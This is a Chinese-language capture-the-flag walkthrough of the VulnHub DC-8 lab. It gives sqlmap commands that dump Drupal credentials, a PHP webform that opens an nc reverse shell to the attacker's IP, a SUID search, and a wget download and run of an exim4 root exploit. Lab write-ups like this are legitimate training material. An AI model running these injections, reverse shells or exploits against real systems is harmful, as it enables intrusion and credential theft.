vulnhub dc-8 靶场实战

信息收集

首先当然还是先进行信息收集,先确定IP,arp-scan工具扫一扫

image-20220413170600232

确定ip为: 192.168.48.220

然后就是其他资产进行收集啦

后台目录、服务、端口等等

既然打开了80端口,就去看看有什么可以利用的信息

image-20220413171000314

在这里发现了有参数,那肯定得测试一下是否含有sql注入啦

image-20220413171113254

测试sql注入

加单引号测试一下,的确是存在sql注入

image-20220413171142593

直接拿sqlmap工具跑一跑

查数据库名

查看当前数据库名

1
sqlmap -u "http://192.168.48.220/?nid=1" --risk=3 --level=5 --random-agent --current-db

数据库名为d7db

image-20220413171524461

查表名

接下来继续注入看看有哪些表

1
sqlmap -u "http://192.168.48.220/?nid=1" --risk=3 --level=5 --random-agent -D d7db --tables

爆破出了很多的表,当然最想看到的是与user关键字有关的表啦,这里发现了一个users表

image-20220413171730085

查字段名

继续注入,看看这个表里的字段有哪些

1
sqlmap -u "http://192.168.48.220/?nid=1" --risk=3 --level=5 --random-agent -D d7db -T users --columns

好家伙,16个字段

image-20220413171919451

查字段内容

我想看的字段内容那肯定是login,name,pass这三个字段,拿它账号密码

1
sqlmap -u "http://192.168.48.220/?nid=1" --risk=3 --level=5 --random-agent -D d7db -T users -C login,name,pass --dump

image-20220413172033066

爆破密码

把密码保存到txt,然后拿hydra 去跑一下

结果只跑出来了一个密码 turtle,不知道是哪个用户的密码, 所以这两个用户都去试一下,发现是john用户的密码

image-20220413172136128

之前已经用dirb 工具扫描出了后台,在robots.txt文件也能看见后台路径

image-20220413182901073

反弹shell

登录成功,然后创建一个webform

image-20220413183325225

输入标题 shell

image-20220413183610113

然后点击Form settings 来设置文章内容

image-20220413183631633

要记得先设置文章的格式为PHP,再写文章内容

image-20220413183744113

写入nc连接shell,我换了一个网,所以这里IP和上面截图里的不一样了

1
2
3
4
success
<?php
system('nc -e /bin/bash 192.168.123.224 8888');
?>

然后保存这个网页内容,先让kali监听8888端口

然后访问shell标题的这篇文章,你会发现kali没反应,没连上,这是啥原因呢

特么的然后我又创建了一篇文章,还是不行,然后发现自带的Contact Us页面可以修改,然后我试了一下

image-20220413184223668

访问Contact Us页面

image-20220413184414300

发现还是没有连接上,然后想了半天,发现这里有 Start 和 Complete

应该是要输入信息,然后提交,才会是真正访问这个页面吧

然后提交这个邮件信息后,发现连上了

image-20220413184705499

接下来开始拿交互式shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

提权

这些txt文件都看了,没有什么有用的信息

image-20220413184949216

反正接下来是提权,msf搜了一下drupal的漏洞,试了一下,没有成功

都试过了,没有成功

也看了内核版本等信息,没有发现相关的漏洞

接下来利用suid提权

1
find / -user root -perm -4000 -print 2>/dev/null

发现了一个邮件传输代理exim4

image-20220413185834735

上msf搜一下

image-20220413185150879

都试了,没成功

在searchsploit 里搜到了

image-20220413190053077

把这个sh脚本使用nc工具传过去,发现又失败了,传不过去

只好打开了kali的http服务

1
apache2 start.server

然后把 46996.sh文件放在kali的/var/www/html/里面,再让靶机用wget命令去下载这个文件

1
wget http://192.168.123.224/46996.sh

会发现下载失败,因为没有权限,所以还是去/tmp目录下下载

image-20220413190600260

然后给权限

1
chomd 777 46996.sh

发现执行还是会失败,然后分析了一下46996.sh源码,原来是有两种模式,默认的那种失败了,我们用第二种模式

image-20220413190719368

1
./46996.sh -m netcat

等待5秒

image-20220413190829711

提权成功,拿到flag

image-20220413190911744